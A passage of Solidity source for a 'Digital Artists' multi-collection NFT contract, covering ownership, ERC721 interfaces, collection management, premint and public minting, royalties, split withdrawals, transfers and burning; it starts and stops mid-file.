function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Invalid address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/*********************************************
*********************************************
* I n t e r f a c e s
*/
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC2981 {
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
interface IERC721Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable {
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index)
external
view
returns (uint256);
}
interface IERC721 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId)
external
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
}
contract DigitalArtists is
IERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable,
IERC2981,
ReentrancyGuard,
Ownable
{
event Mint(
uint256 indexed collectionId_,
address indexed to_,
uint256 tokenId_
);
event Withdraw(
address indexed initiator_,
address indexed to_,
uint256 amount_
);
event CollectionArtistAddressUpdated(
uint256 indexed collectionId_,
address newAddr_,
address oldAddr_
);
event CollectionStateUpdated(
uint256 indexed collectionId_,
uint8 newState_,
uint8 oldSate_
);
event CollectionAuthorizationUpdated(
uint256 indexed collectionId_,
address indexed addr_,
bool state_
);
modifier onlyAuthorized(uint256 collectionId_) {
require(
_isCollectionAuthorized(collectionId_, _msgSender()),
"Unauthorized"
);
_;
}
struct Artist {
string name;
string info;
uint32 collectionsCount;
}
struct Collection {
// Collection name
bytes32 name;
// Collection base URI
string baseUri;
// Artists address
address artistAddr;
// Royalties address - artistAddr is used if this one is not set
address royaltyAddr;
// Current token id
uint256 tokenId;
// Starting token number
uint256 tokenIdFrom;
// Public mint(state 2) price
uint256 mintPrice;
// Premint (state 1) price
uint256 premintPrice;
// Balance from the minting process
uint256 balance;
// Withdrawn value [0] is artist and [1] is platform
uint256[2] withdrawn;
// Collection max supply
uint32 maxSupply;
// Maximum number of NFTs that could be minted on the premint
uint32 premintMaxSupply;
// Royalty basis
uint16 royaltyBasis;
// Maximum number of NFTs that address could mint on the public sale
uint16 mintCap;
// Maximum number of NFTs that address could mint on the premint
uint16 premintCap;
// Maximum number of addresses that premint list could hold
uint16 premintListCap;
// Current number of addresses on the premint list
uint16 premintListCount;
// Withdraw percentages [0] is artist and [1] is platform
uint16[2] percentage;
// Flag indicating whether collection base URI is locked
uint8 baseUriLocked;
// campaign state - 0 (not active), 1 (premint), 2 (public mint)
uint8 state;
// Mapping for authorizing addresses to manage this collection
mapping(address => bool) authorized;
// Mapping from address to boolean flag indicating if this address is on the premint list
mapping(address => bool) premintList;
// Mapping from address to number representing minted NFTs on the public sale
mapping(address => uint32) minted;
// Mapping from address to number representing minted NFTs on the premint
mapping(address => uint32) preminted;
}
/*********************************************
*********************************************
* P r i v a t e
* m e m b e r s
*
*/
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Contract name
string private _name;
// Contract token symbol
string private _symbol;
// Default base uri. It will be used if collection base uri is not set
string private _baseUri;
// Default artist percentage when organizing mints
uint16 private _percentArtist;
// Default platform percentage when organizing mints
uint16 private _percentPlatform;
// Flag indicating whether anyone could use createCollection or only whitelisted addresses and owner
uint8 private _isCreateCollectionPublic;
// Reference to the last collection ID
uint256 private _lastCollectionId;
// Mapping from collection ID to Collection
mapping(uint256 => Collection) private _collections;
// Mapping from artist address to Artist
mapping(address => Artist) private _artists;
// Mapping from token id to collection ID
mapping(uint256 => uint256) private _tokenIdToCollectionId;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
// Mapping from token id to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Mapping for explicit token URIs
mapping(uint256 => string) private _tokenUri;
// Mapping from token id to owner address
mapping(uint256 => address) private _owners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping(address => uint256) private _balances;
// Mapping from artist address to boolean flag indicating whether this address is trusted
mapping(address => bool) private _knownArtists;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
constructor() ReentrancyGuard() Ownable() {
_symbol = "DA";
_name = "Digital Artists";
}
/*********************************************
*********************************************
* P u b l i c
* m e t h o d s
*
*/
/**
* @notice Returns last collection ID
*/
function lastCollectionId() public view returns (uint256) {
return _lastCollectionId;
}
/**
* @notice Returns collection ID from given token ID
*/
function tokenIdToCollectionId(uint256 tokenId_)
public
view
returns (uint256)
{
return _tokenIdToCollectionId[tokenId_];
}
/**
* @notice Returns a token ID owned by `owner` at a given `index` of its token list.
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* @param owner_ owner address
* @param idx_ index of token
*/
function tokenOfOwnerByIndex(address owner_, uint256 idx_)
public
view
returns (uint256)
{
require(idx_ < balanceOf(owner_), "Index out of bounds");
return _ownedTokens[owner_][idx_];
}
/**
* @notice Returns the total amount of tokens stored by the contract.
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @notice Returns the total amount of tokens in collection.
* @param collectionId_ checked collection ID.
*/
function totalSupplyByCollectionId(uint256 collectionId_)
public
view
returns (uint256)
{
unchecked {
return
_collections[collectionId_].tokenId -
_collections[collectionId_].tokenIdFrom;
}
}
/**
* @notice Returns a token ID at a given `index` of all the tokens stored by the contract.
* @dev See {IERC721Enumerable-tokenByIndex}.
* @param idx_ desired index
*/
function tokenByIndex(uint256 idx_) public view returns (uint256) {
require(idx_ < totalSupply(), "Index out of bounds");
return _allTokens[idx_];
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @notice Returns address and royatly amount from given token id and price.
* Different collections could have different royatlies.
* @param tokenId_ token id
* @param price_ price against royatly is calculated
*/
function royaltyInfo(uint256 tokenId_, uint256 price_)
public
view
returns (address, uint256)
{
require(_exists(tokenId_), "Nonexistent token");
uint256 collectionId = _tokenIdToCollectionId[tokenId_];
unchecked {
return (
_collections[collectionId].royaltyAddr == address(0)
? _collections[collectionId].artistAddr
: _collections[collectionId].royaltyAddr,
(price_ * _collections[collectionId].royaltyBasis) / 10000
);
}
}
/**
* @notice Returns token uri from given token id.
* @param tokenId_ token id
*/
function tokenURI(uint256 tokenId_) public view returns (string memory) {
require(_exists(tokenId_), "Nonexistent token");
if (bytes(_tokenUri[tokenId_]).length > 0) {
// Explicit token uri
return _tokenUri[tokenId_];
}
string memory baseUri = bytes(
_collections[_tokenIdToCollectionId[tokenId_]].baseUri
).length > 0
? _collections[_tokenIdToCollectionId[tokenId_]].baseUri
: _baseUri;
return string(abi.encodePacked(baseUri, Strings.toString(tokenId_)));
}
/**
* @notice Allows collection's artist or contract owner to explicitly set URI for token.
* @param tokenId_ updated token id
* @param uri_ explicit token uri
*/
function updateTokenUri(uint256 tokenId_, string memory uri_) public {
require(
_isCollectionAuthorized(
_tokenIdToCollectionId[tokenId_],
_msgSender()
),
"Unauthorized"
);
_tokenUri[tokenId_] = uri_;
}
/**
* @notice Returns the count of the owned tokens by address.
* @param owner_ checked addess
*/
function balanceOf(address owner_) public view returns (uint256) {
return _balances[owner_];
}
/**
* @notice Returns the address of token id owner or zero address if non-existing token id is specified.
* @param tokenId_ checked token id
*/
function ownerOf(uint256 tokenId_) public view returns (address) {
return _owners[tokenId_];
}
/**
* @notice Returns boolean value indicating if the checked interface is supported.
* @param interfaceId_ checked interface id
*/
function supportsInterface(bytes4 interfaceId_) public pure returns (bool) {
return
interfaceId_ == type(IERC165).interfaceId ||
interfaceId_ == type(IERC2981).interfaceId ||
interfaceId_ == type(IERC721).interfaceId ||
interfaceId_ == type(IERC721Metadata).interfaceId ||
interfaceId_ == type(IERC721Enumerable).interfaceId;
}
/**
* @notice Allows contract owner to update default percentages in case of public mint is organized.
* @param percentArtist_ artist percentage
* @param percentPlatform_ platform percentage
*/
function updateDefaultPercentages(
uint16 percentArtist_,
uint16 percentPlatform_
) public onlyOwner {
unchecked {
require(
percentArtist_ + percentPlatform_ == 10000,
"Invalid percentage"
);
}
_percentArtist = percentArtist_;
_percentPlatform = percentPlatform_;
}
/**
* @notice Allows contract owner to specify explicit split percentage for collection if public mint is organized.
* @param collectionId_ collection ID
* @param percentArtist_ artist percentage
* @param percentPlatform_ platform percentage
*/
function updateCollectionPercentages(
uint256 collectionId_,
uint16 percentArtist_,
uint16 percentPlatform_
) public onlyOwner {
if (percentArtist_ == 1) {
// Artist percetage is explicitly set to 0, 1 means 0 percentage, see withdraw function
_collections[collectionId_].percentage[0] = 1;
_collections[collectionId_].percentage[1] = 10000;
} else if (percentPlatform_ == 1) {
// Platform percetage is explicitly set to 0, 1 means 0 percentage, see withdraw function
_collections[collectionId_].percentage[0] = 10000;
_collections[collectionId_].percentage[1] = 1;
} else {
unchecked {
require(
percentArtist_ + percentPlatform_ == 10000,
"Invalid percentage"
);
}
_collections[collectionId_].percentage[0] = percentArtist_;
_collections[collectionId_].percentage[1] = percentPlatform_;
}
}
/**
* @notice Returns default split percentages - artists and platform respectively.
*/
function defaultPercentages() public view returns (uint16, uint16) {
return (_percentArtist, _percentPlatform);
}
/**
* @notice Allows contract owner to specify default base URI.
* @param uri_ new base URI
*/
function setBaseUri(string memory uri_) public onlyOwner {
_baseUri = uri_;
}
/**
* @notice Returns the default base URI
*/
function defaultBaseUri() public view returns (string memory) {
return _baseUri;
}
/**
* @notice Allows contract owner to change createCollection access level.
* @param level_ access level - public or known artists only
*/
function updateCreateCollectionAccess(uint8 level_) public onlyOwner {
// Everything greater than 0 will allow public access to createCollection
// otherwise onlyOwner and _knownArtists have access
_isCreateCollectionPublic = level_;
}
/**
* @notice Returns a boolean flag indicating if createColletion function is publicly accessible.
*/
function isCreateCollectionPublic() public view returns (bool) {
return _isCreateCollectionPublic > 0;
}
/**
* @notice Allows contract owner to add addresses to the known artists white list.
* @param addresses_ array of addresses
*/
function addKnownArtists(address[] memory addresses_) public onlyOwner {
for (uint256 i = 0; i < addresses_.length; i++) {
_knownArtists[addresses_[i]] = true;
}
}
/**
* @notice Allows contract owner to remove addresses from the known artists white list.
* @param addresses_ array of addresses
*/
function removeKnownArtists(address[] memory addresses_) public onlyOwner {
for (uint256 i = 0; i < addresses_.length; i++) {
_knownArtists[addresses_[i]] = false;
}
}
/**
* @notice Returns boolean flag indicating whether address is a known artist.
* @param addr_ checked address
*/
function isKnownArtist(address addr_) public view returns (bool) {
return _knownArtists[addr_];
}
/**
* @notice Allows contract owner to set base URI for specific collection.
* @param collectionId_ collection ID
* @param baseUri_ base URI
*/
function setCollectionBaseUri(uint256 collectionId_, string memory baseUri_)
public
onlyOwner
{
require(
_collections[collectionId_].baseUriLocked == 0,
"baseURI locked"
);
_collections[collectionId_].baseUri = baseUri_;
}
/**
* @notice Allows contract owner to lock base URI from being changed. Once locked it cannot be unlocked.
* @param collectionId_ collection ID
*/
function lockCollectionBaseUri(uint256 collectionId_) public onlyOwner {
_collections[collectionId_].baseUriLocked = 1;
}
/**
* @notice Returns collection's base URI, if there is any.
* @param collectionId_ collection ID
*/
function collectionBaseUri(uint256 collectionId_)
public
view
virtual
returns (string memory)
{
return _collections[collectionId_].baseUri;
}
/**
* @notice Returns boolean flag indicating whether collection's base URI is locked
* @param collectionId_ collection ID
*/
function isCollectionBaseUriLocked(uint256 collectionId_)
public
view
virtual
returns (bool)
{
return _collections[collectionId_].baseUriLocked > 0;
}
/**
* @notice Allows collection authorized or contract owner to update max supply and premint max supply
* @param collectionId_ collection ID
* @param shouldUpdateMaxSupply_ flag indicating whether max supply value should be updated
* @param maxSupply_ new max supply
* @param shouldUpdatePremintMaxSupply_ flag indicating whether premint max supply value should be updated
* @param premintMaxSupply_ new premint max supply
*/
function updateCollectionSupplies(
uint256 collectionId_,
uint8 shouldUpdateMaxSupply_,
uint32 maxSupply_,
uint8 shouldUpdatePremintMaxSupply_,
uint32 premintMaxSupply_
) public onlyAuthorized(collectionId_) {
if (shouldUpdateMaxSupply_ != 0) {
unchecked {
require(
totalSupplyByCollectionId(collectionId_) <= maxSupply_ &&
_collections[collectionId_].maxSupply + 10000 > maxSupply_,
"Invalid max supply"
);
}
_collections[collectionId_].maxSupply = maxSupply_;
}
if (shouldUpdatePremintMaxSupply_ != 0) {
unchecked {
require(
totalSupplyByCollectionId(collectionId_) <= premintMaxSupply_ &&
_collections[collectionId_].maxSupply + 10000 > premintMaxSupply_,
"Invalid premint max supply"
);
}
_collections[collectionId_].premintMaxSupply = premintMaxSupply_;
}
}
/**
* @notice Returns collection supplies - max supply, premint max supply and current total supply
* @param collectionId_ collection ID
*/
function collectionSupplies(uint256 collectionId_)
public
view
returns (
uint32,
uint32,
uint256
)
{
return (
_collections[collectionId_].maxSupply,
_collections[collectionId_].premintMaxSupply,
totalSupplyByCollectionId(collectionId_)
);
}
/**
* @notice Allows collection authorized or contract owner to change state
* @param collectionId_ collection ID
* @param state_ state - 1(premint), 2(public mint), everything else is considered not active
*/
function updateCollectionState(uint256 collectionId_, uint8 state_)
public
onlyAuthorized(collectionId_)
{
uint8 oldState = _collections[collectionId_].state;
_collections[collectionId_].state = state_;
emit CollectionStateUpdated(collectionId_, state_, oldState);
}
/**
* @notice Returns collection state - 1(premint), 2(public mint), everything else is considered not active
* @param collectionId_ collection ID
*/
function collectionState(uint256 collectionId_)
public
view
returns (uint8)
{
return _collections[collectionId_].state;
}
/**
* @notice Returns how many NFTs give address minted on premint and public mint for specific collection
* @param collectionId_ collection ID
* @param addr_ checked address
*/
function collectionAddressMintedStats(uint256 collectionId_, address addr_)
public
view
returns (uint32, uint32)
{
return (
_collections[collectionId_].minted[addr_],
_collections[collectionId_].preminted[addr_]
);
}
/**
* @notice Returns generated balance from mint campaign of collection
* @param collectionId_ collection ID
*/
function collectionBalance(uint256 collectionId_)
public
view
returns (uint256)
{
return _collections[collectionId_].balance;
}
/**
* @notice Returns boolean flag indicating if address is collection authorized
* @param collectionId_ collection ID
* @param addr_ checked address
*/
function isCollectionAuthorized(uint256 collectionId_, address addr_)
public
view
returns (bool)
{
return _collections[collectionId_].authorized[addr_];
}
/**
* @notice Returns collection bounds - starting token id, last token id, current token id
* @param collectionId_ collection ID
*/
function collectionBounds(uint256 collectionId_)
public
view
returns (
uint256,
uint256,
uint256
)
{
unchecked {
return (
_collections[collectionId_].tokenIdFrom + 1,
_collections[collectionId_].tokenIdFrom + _collections[collectionId_].maxSupply,
_collections[collectionId_].tokenId
);
}
}
/**
* @notice Returns info about collection - collection name, artist name, base URI, artist address, max supply
* @param collectionId_ collection ID
*/
function collectionInfo(uint256 collectionId_)
public
view
returns (
string memory,
string memory,
string memory,
address,
uint32
)
{
return (
string(abi.encodePacked(_collections[collectionId_].name)),
string(abi.encodePacked(_artists[_collections[collectionId_].artistAddr].name)),
string(abi.encodePacked(_collections[collectionId_].baseUri)),
_collections[collectionId_].artistAddr,
_collections[collectionId_].maxSupply
);
}
/**
* @notice Allows collection authorized or contract owner to retrive split payments information
* @param collectionId_ collection ID
*/
function collectionPaymentsInfo(uint256 collectionId_)
public
view
onlyAuthorized(collectionId_)
returns (
uint256,
uint256,
uint16,
uint16
)
{
return (
_collections[collectionId_].withdrawn[0],
_collections[collectionId_].withdrawn[1],
_collections[collectionId_].percentage[0],
_collections[collectionId_].percentage[1]
);
}
/**
* @notice Allows contract owner or known artists to create new collectins on this contract
* @param artistAddr_ collection artists address (required)
* @param maxSupply_ collection max supply (required)
* @param premintMaxSupply_ collection premint max supply (optional)
*/
function createCollection(
address artistAddr_,
uint32 maxSupply_,
uint32 premintMaxSupply_
) public {
_nonZeroAddress(artistAddr_);
require(maxSupply_ > 0 && maxSupply_ <= 5000000, "Invalid supply");
if (_isCreateCollectionPublic == 0) {
// Leave an option to publicly allow this operation
require(
_msgSender() == owner() || _knownArtists[_msgSender()],
"Unauthorized"
);
}
Collection storage c = _collections[++_lastCollectionId];
c.artistAddr = artistAddr_;
c.maxSupply = maxSupply_;
if (premintMaxSupply_ > 0) {
_collections[_lastCollectionId].premintMaxSupply = premintMaxSupply_;
}
uint256 prevIdx;
unchecked {
prevIdx = _lastCollectionId - 1;
_artists[artistAddr_].collectionsCount++;
}
// Every new collection's tokenId will start from the previous end + 10000(gap)
c.tokenId = _collections[prevIdx].tokenIdFrom + _collections[prevIdx].maxSupply + 10000;
c.tokenIdFrom = c.tokenId;
}
/**
* @notice Returns boolean flag indicating whether collection exists
* @param collectionId_ collection ID
*/
function collectionExists(uint256 collectionId_)
public
view
returns (bool)
{
return _collections[collectionId_].artistAddr != address(0);
}
/**
* @notice Allows collection authorized or contract owner to toggle address collection authorization state
* @param collectionId_ collection ID
* @param addr_ address to toggle authorization state for
* @param state_ authorization state - true or false
*/
function toggleCollectionAuthorization(
uint256 collectionId_,
address addr_,
bool state_
) public onlyAuthorized(collectionId_) {
_nonZeroAddress(addr_);
_collections[collectionId_].authorized[addr_] = state_;
emit CollectionAuthorizationUpdated(collectionId_, addr_, state_);
}
/**
* @notice Allows contract owner to set royalty for specific collection
* @param collectionId_ collection ID
* @param royaltyAddr_ new royalty address
* @param royaltyBasis_ new royalty basis
*/
function updateCollectionRoyalty(
uint256 collectionId_,
address royaltyAddr_,
uint16 royaltyBasis_
) public onlyOwner {
require(royaltyBasis_ <= 5000, "Maximum 50% royalty");
_collections[collectionId_].royaltyAddr = royaltyAddr_;
_collections[collectionId_].royaltyBasis = royaltyBasis_;
}
/**
* @notice Returns royalty information about collection
* @param collectionId_ collection ID
*/
function collectionRoyaltyInfo(uint256 collectionId_)
public
view
returns (address, uint16)
{
return (
_collections[collectionId_].royaltyAddr == address(0)
? _collections[collectionId_].artistAddr
: _collections[collectionId_].royaltyAddr,
_collections[collectionId_].royaltyBasis
);
}
/**
* @notice Allows artist or contract owner to update on-chain info about artist by address
* @param addr_ artist address
* @param name_ new artist name
* @param info_ new artist info - free text
*/
function updateArtist(
address addr_,
string memory name_,
string memory info_
) public {
require(
_msgSender() == owner() || _msgSender() == addr_,
"Unauthorized"
);
if (bytes(name_).length > 0) {
_artists[addr_].name = name_;
}
if (bytes(info_).length > 0) {
_artists[addr_].info = info_;
}
}
/**
* @notice Allows contract owner to update on-chain collection name
* @param collectionId_ collection ID
* @param collectionName_ collection name
*/
function updateCollectionName(
uint256 collectionId_,
string memory collectionName_
) public onlyOwner {
_collections[collectionId_].name = bytes32(bytes(collectionName_));
}
/**
* @notice Allows contract owner to update collection's artist address
* @param collectionId_ collection ID
* @param artistAddr_ new artist address
*/
function updateCollectionArtistAddr(
uint256 collectionId_,
address artistAddr_
) public onlyOwner {
_nonZeroAddress(artistAddr_);
address oldAddress = _collections[collectionId_].artistAddr;
_collections[collectionId_].artistAddr = artistAddr_;
emit CollectionArtistAddressUpdated(
collectionId_,
artistAddr_,
oldAddress
);
}
/**
* @notice Returns artist address for collection
* @param collectionId_ collection ID
*/
function collectionArtistAddr(uint256 collectionId_)
public
view
returns (address)
{
return _collections[collectionId_].artistAddr;
}
/**
* @notice Allows collection authorized or contract owner to add addresses to premint list
* @param collectionId_ collection ID
* @param addresses_ array of addresses
*/
function addToCollectionPremintList(
uint256 collectionId_,
address[] memory addresses_
) public onlyAuthorized(collectionId_) {
Collection storage c = _collections[collectionId_];
require(
c.premintListCount + addresses_.length <= c.premintListCap,
"Presale list overflow"
);
for (uint256 i = 0; i < addresses_.length; i++) {
if (!c.premintList[addresses_[i]]) {
c.premintList[addresses_[i]] = true;
unchecked {
c.premintListCount++;
}
}
}
}
/**
* @notice Allows collection authorized or contract owner to remove addresses from premint list
* @param collectionId_ collection ID
* @param addresses_ array of addresses
*/
function removeFromCollectionPremintList(
uint256 collectionId_,
address[] memory addresses_
) public onlyAuthorized(collectionId_) {
Collection storage c = _collections[collectionId_];
for (uint256 i = 0; i < addresses_.length; i++) {
if (c.premintList[addresses_[i]]) {
c.premintList[addresses_[i]] = false;
unchecked {
c.premintListCount--;
}
}
}
}
/**
* @notice Returns boolean flag indicating if address is on the collection's premint list
* @param collectionId_ collection ID
* @param addr_ checked address
*/
function isOnCollectionPremintList(uint256 collectionId_, address addr_)
public
view
returns (bool)
{
return _collections[collectionId_].premintList[addr_];
}
/**
* @notice Returns collection's premint list capacity and current count
* @param collectionId_ collection ID
*/
function collectionPremintListDetails(uint256 collectionId_)
public
view
returns (uint16, uint16)
{
return (
_collections[collectionId_].premintListCap,
_collections[collectionId_].premintListCount
);
}
/**
* @notice Allows collection authorized or contract owner to update premint and mint prices for collection
* @param collectionId_ collection ID
* @param shouldUpdateMintPrice_ flag indicating whether mint price should be updated
* @param mintPrice_ mint price to be set if shouldUpdateMintPrice_ > 0
* @param shouldUpdatepremintPrice_ flag indicating whether premint price should be updated
* @param premintPrice_ premint price to be set if shouldUpdatepremintPrice_ > 0
*/
function updateCollectionMintPrices(
uint256 collectionId_,
uint8 shouldUpdateMintPrice_,
uint256 mintPrice_,
uint8 shouldUpdatepremintPrice_,
uint256 premintPrice_
) public onlyAuthorized(collectionId_) {
// using parameter which determines if value should be updated
// proceed with update if shouldUpdate..._ paramters != 0
if (shouldUpdateMintPrice_ != 0) {
_collections[collectionId_].mintPrice = mintPrice_;
}
if (shouldUpdatepremintPrice_ != 0) {
_collections[collectionId_].premintPrice = premintPrice_;
}
}
/**
* @notice Returns collection's mint and premint prices
* @param collectionId_ collection ID
*/
function collectionMintPrices(uint256 collectionId_)
public
view
returns (uint256, uint256)
{
return (
_collections[collectionId_].mintPrice,
_collections[collectionId_].premintPrice
);
}
/**
* @notice Allows collection authorized or contract owner to update collection capacities - mint, premint, premint list
* @param collectionId_ collection ID
* @param shouldUpdateMintCap_ flag if mint capacity is updated
* @param mintCap_ mint capacity to set
* @param shouldUpdatePremintCap_ flag if premint capacity is updated
* @param premintCap_ premint capacity to set
* @param shouldUpdatePremintListCap_ flag if premint list capacity is updated
* @param premintListCap_ premint list capacity to set
*/
function updateCollectionCaps(
uint256 collectionId_,
uint8 shouldUpdateMintCap_,
uint16 mintCap_,
uint8 shouldUpdatePremintCap_,
uint16 premintCap_,
uint8 shouldUpdatePremintListCap_,
uint16 premintListCap_
) public onlyAuthorized(collectionId_) {
// using parameter which determines if value should be updated
// proceed with update if shouldUpdate..._ paramters != 0
if (shouldUpdateMintCap_ != 0) {
_collections[collectionId_].mintCap = mintCap_;
}
if (shouldUpdatePremintCap_ != 0) {
_collections[collectionId_].premintCap = premintCap_;
}
if (shouldUpdatePremintListCap_ != 0) {
_collections[collectionId_].premintListCap = premintListCap_;
}
}
/**
* @notice Returns collection's mint and premint capacities
* @param collectionId_ collection ID
*/
function collectionMintCaps(uint256 collectionId_)
public
view
returns (uint16, uint16)
{
return (
_collections[collectionId_].mintCap,
_collections[collectionId_].premintCap
);
}
/**
* @notice Mint function - will mint to message sender
* @param collectionId_ collection ID
* @param amount_ minted NFTs count
*/
function mint(uint256 collectionId_, uint16 amount_) public payable {
mintTo(collectionId_, amount_, _msgSender());
}
/**
* @notice Mint function - will mint to receiver_
* @param collectionId_ collection ID
* @param amount_ minted NFTs count
* @param receiver_ receiver of the minted NFTs
*/
function mintTo(
uint256 collectionId_,
uint16 amount_,
address receiver_
) public payable nonReentrant {
_nonZeroAddress(receiver_);
require(collectionExists(collectionId_), "Nonexistent collection");
Collection storage c = _collections[collectionId_];
require(
totalSupplyByCollectionId(collectionId_) < c.maxSupply,
"Mint completed"
);
require(amount_ > 0, "Invalid mint amount");
if (c.state == 1) {
require(c.premintList[receiver_], "Not on whitelist");
uint32 minted = c.preminted[receiver_];
unchecked {
c.preminted[receiver_] += amount_;
}
_mint(
collectionId_,
c.premintPrice,
receiver_,
amount_,
c.premintCap,
c.premintMaxSupply,
minted
);
} else if (c.state == 2) {
uint32 minted = c.minted[receiver_];
unchecked {
c.minted[receiver_] += amount_;
}
_mint(
collectionId_,
c.mintPrice,
receiver_,
amount_,
c.mintCap,
c.maxSupply,
minted
);
} else {
revert("Mint not active");
}
}
/**
* @notice Mint function - allows collection authorized or contract owner to mint
* @param collectionId_ collection ID
* @param amount_ minted NFTs count
* @param receiver_ receiver of the minted NFTs
*/
function mintInternal(
uint256 collectionId_,
uint16 amount_,
address receiver_
) public onlyAuthorized(collectionId_) nonReentrant {
_nonZeroAddress(receiver_);
Collection storage c = _collections[collectionId_];
require(
amount_ + totalSupplyByCollectionId(collectionId_) <= c.maxSupply,
"Supply overflow"
);
for (uint16 i = 0; i < amount_; i++) {
unchecked {
c.tokenId += 1;
}
require(!_exists(c.tokenId), "Token already minted");
_beforeTokenTransfer(address(0), receiver_, c.tokenId);
_tokenIdToCollectionId[c.tokenId] = collectionId_;
unchecked {
_balances[receiver_] += 1;
}
_owners[c.tokenId] = receiver_;
emit Mint(collectionId_, receiver_, c.tokenId);
}
}
/**
* @notice Transfer token from address to another
* @param from_ current owner
* @param to_ new owner address
* @param tokenId_ desired token ID
*/
function transferFrom(
address from_,
address to_,
uint256 tokenId_
) public {
require(
_isApprovedOrOwner(_msgSender(), tokenId_),
"Not owner nor approved"
);
_transfer(from_, to_, tokenId_);
}
/**
* @notice Safe transfer token from address to another. It is going to verify transfer using _checkOnERC721Received
* @param from_ current owner
* @param to_ new owner address
* @param tokenId_ desired token ID
*/
function safeTransferFrom(
address from_,
address to_,
uint256 tokenId_
) public {
safeTransferFrom(from_, to_, tokenId_, "");
}
/**
* @notice Safe transfer token from address to another. It is going to verify transfer using _checkOnERC721Received
* @param from_ current owner
* @param to_ new owner address
* @param tokenId_ desired token ID
* @param data_ passed data in case receiver is contract
*/
function safeTransferFrom(
address from_,
address to_,
uint256 tokenId_,
bytes memory data_
) public {
require(
_isApprovedOrOwner(_msgSender(), tokenId_),
"Not owner nor approved"
);
_transfer(from_, to_, tokenId_);
require(
_checkOnERC721Received(from_, to_, tokenId_, data_),
"Non ERC721Receiver implementer"
);
}
/**
* @notice Allows collection authorized or contract owner to withdraw funds generated from mint campaign
* @param collectionId_ collection ID
* @param addr_ withdraw address
*/
function withdraw(uint256 collectionId_, address addr_)
public
onlyAuthorized(collectionId_)
nonReentrant
{
_nonZeroAddress(addr_);
require(
_collections[collectionId_].balance != 0,
"Insufficient balance"
);
Collection storage c = _collections[collectionId_];
// index 0 is artist and index 1 is platform
uint8 idx = _msgSender() == owner() ? 1 : 0;
uint256 allTimeBalance = c.balance + c.withdrawn[0] + c.withdrawn[1];
uint16 percentage;
if (_collections[collectionId_].percentage[idx] == 1) {
// In this case the given side doesn't have a cut - it might be the platform or artist as well
percentage = 0;
} else if (
_collections[collectionId_].percentage[idx] > 1 &&
_collections[collectionId_].percentage[idx] <= 10000
) {
// This is a valid percentage from the collection struct
percentage = _collections[collectionId_].percentage[idx];
} else {
// Default percentage
percentage = idx == 0 ? _percentArtist : _percentPlatform;
}
uint256 payment = (allTimeBalance * percentage) /
10000 -
c.withdrawn[idx];
require(payment != 0, "Nothing to withdraw");
c.withdrawn[idx] += payment;
c.balance -= payment;
(bool success, ) = payable(addr_).call{value: payment}("");
require(success, "Withdraw failed");
emit Withdraw(_msgSender(), addr_, payment);
}
/**
* @notice Allows token owner or approved operator to approve address to token
* @param to_ approved address
* @param tokenId_ token ID
*/
function approve(address to_, uint256 tokenId_) public {
address tokenOwner = ownerOf(tokenId_);
require(to_ != tokenOwner, "Approval to current owner");
require(
_msgSender() == tokenOwner ||
isApprovedForAll(tokenOwner, _msgSender()),
"Not owner nor approved"
);
_approve(to_, tokenId_);
}
/**
* @notice Returns boolean flag indicating whether address is approved operator for owner tokens
* @param checkedOwner_ address of owner
* @param operator_ checked address
*/
function isApprovedForAll(address checkedOwner_, address operator_)
public
view
returns (bool)
{
return _operatorApprovals[checkedOwner_][operator_];
}
/**
* @notice Allows token owner to set/reset operator for his tokens
* @param operator_ address of owner
* @param approved_ checked address
*/
function setApprovalForAll(address operator_, bool approved_) public {
require(operator_ != _msgSender(), "Approve to caller");
_operatorApprovals[_msgSender()][operator_] = approved_;
emit ApprovalForAll(_msgSender(), operator_, approved_);
}
/**
* @notice Returns approved address of token
* @param tokenId_ token ID
*/
function getApproved(uint256 tokenId_) public view returns (address) {
return _tokenApprovals[tokenId_];
}
/**
* @notice Allows token owner or approved to burn token
* @param tokenId_ token ID
*/
function burn(uint256 tokenId_) public virtual {
require(
_isApprovedOrOwner(_msgSender(), tokenId_),
"Not owner nor approved"
);
address owner = ownerOf(tokenId_);
_beforeTokenTransfer(owner, address(0), tokenId_);
_approve(address(0), tokenId_);
_balances[owner] -= 1;
delete _owners[tokenId_];
emit Transfer(owner, address(0), tokenId_);
}
